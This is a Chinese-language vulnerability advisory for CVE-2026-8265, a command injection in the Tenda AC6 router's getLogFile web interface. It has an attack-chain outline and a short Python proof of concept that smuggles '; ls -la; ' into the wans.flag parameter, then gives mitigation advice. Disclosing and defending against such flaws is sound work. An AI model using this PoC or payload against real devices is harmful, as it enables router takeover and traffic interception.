CVE-2026-8265 Tenda AC6 命令注入漏洞

漏洞信息

漏洞编号

CVE-2026-8265

漏洞类型

操作系统命令注入

CVSS评分

4.7 中危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

Tenda AC6

漏洞概述

Tenda AC6路由器固件版本15.03.06.23中存在一处安全漏洞。该漏洞源于httpd组件/goform/getLogFile接口的get_log_file函数未严格过滤输入参数。攻击者可通过操纵wans.flag参数触发操作系统命令注入。尽管攻击需要高权限，但利用方式为远程攻击，且可能影响系统的机密性、完整性和可用性。鉴于漏洞利用代码已公开，风险不容忽视。

技术细节

该漏洞具体存在于Tenda AC6路由器Web服务端（httpd）的/goform/getLogFile接口处理逻辑中。受影响的函数get_log_file在处理用户请求时，直接提取了HTTP请求中的wans.flag参数值。由于代码层面缺乏对特殊字符（如分号、管道符、反引号等）的有效过滤与校验，该参数被直接拼接到系统调用的命令字符串中。这种不安全的编程方式导致了经典的操作系统命令注入漏洞。尽管CVSS评分中需高权限（PR:H），意味着攻击者通常需要持有管理员凭证或已通过其他方式获取权限，但一旦具备条件，攻击者即可通过构造包含恶意Shell指令的HTTP数据包远程触发漏洞。成功利用后，攻击者能够在设备的底层操作系统上下文中执行任意命令，进而控制设备路由、篡改配置或窃取流量数据，对网络安全构成严重威胁。

攻击链分析

STEP 1

1. 信息收集

攻击者扫描网络寻找目标Tenda AC6路由器，并识别其固件版本是否为15.03.06.23。

STEP 2

2. 身份认证

由于漏洞需要高权限（PR:H），攻击者通过暴力破解、弱口令猜测或利用其他漏洞获取路由器管理员权限。

STEP 3

3. 构造攻击载荷

攻击者构造包含恶意操作系统命令的Payload，并将其赋值给wans.flag参数。

STEP 4

4. 发送恶意请求

攻击者向路由器的/goform/getLogFile接口发送带有恶意参数的HTTP POST请求。

STEP 5

5. 执行命令

服务器端解析请求，将wans.flag参数直接传递给系统Shell执行，导致攻击者注入的命令在设备上运行。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL for the vulnerable Tenda AC6 device
target_url = "http://<TARGET_IP>/goform/getLogFile"

# Vulnerable parameter: wans.flag
# The application does not sanitize this parameter, leading to OS command injection.
# Payload example: Append a command to list directory contents using a semicolon.
payload = "; ls -la; "

# Data to be sent in the POST request
data = {
    "wans.flag": payload
}

try:
    # Sending the malicious request
    # Note: This vulnerability typically requires authentication (High Privileges)
    response = requests.post(target_url, data=data)
    
    # Checking the response
    if response.status_code == 200:
        print("[+] Request sent successfully.")
        print("[+] Response content:")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[-] An error occurred: {e}")

影响范围

Tenda AC6 15.03.06.23

防御指南

临时缓解措施

如果无法立即升级固件，建议通过防火墙规则严格限制对路由器管理界面（通常是80或8080端口）的外网访问。管理员应定期检查系统日志，留意针对/goform/getLogFile接口的异常请求记录，并及时更改后台登录密码以防止未授权访问。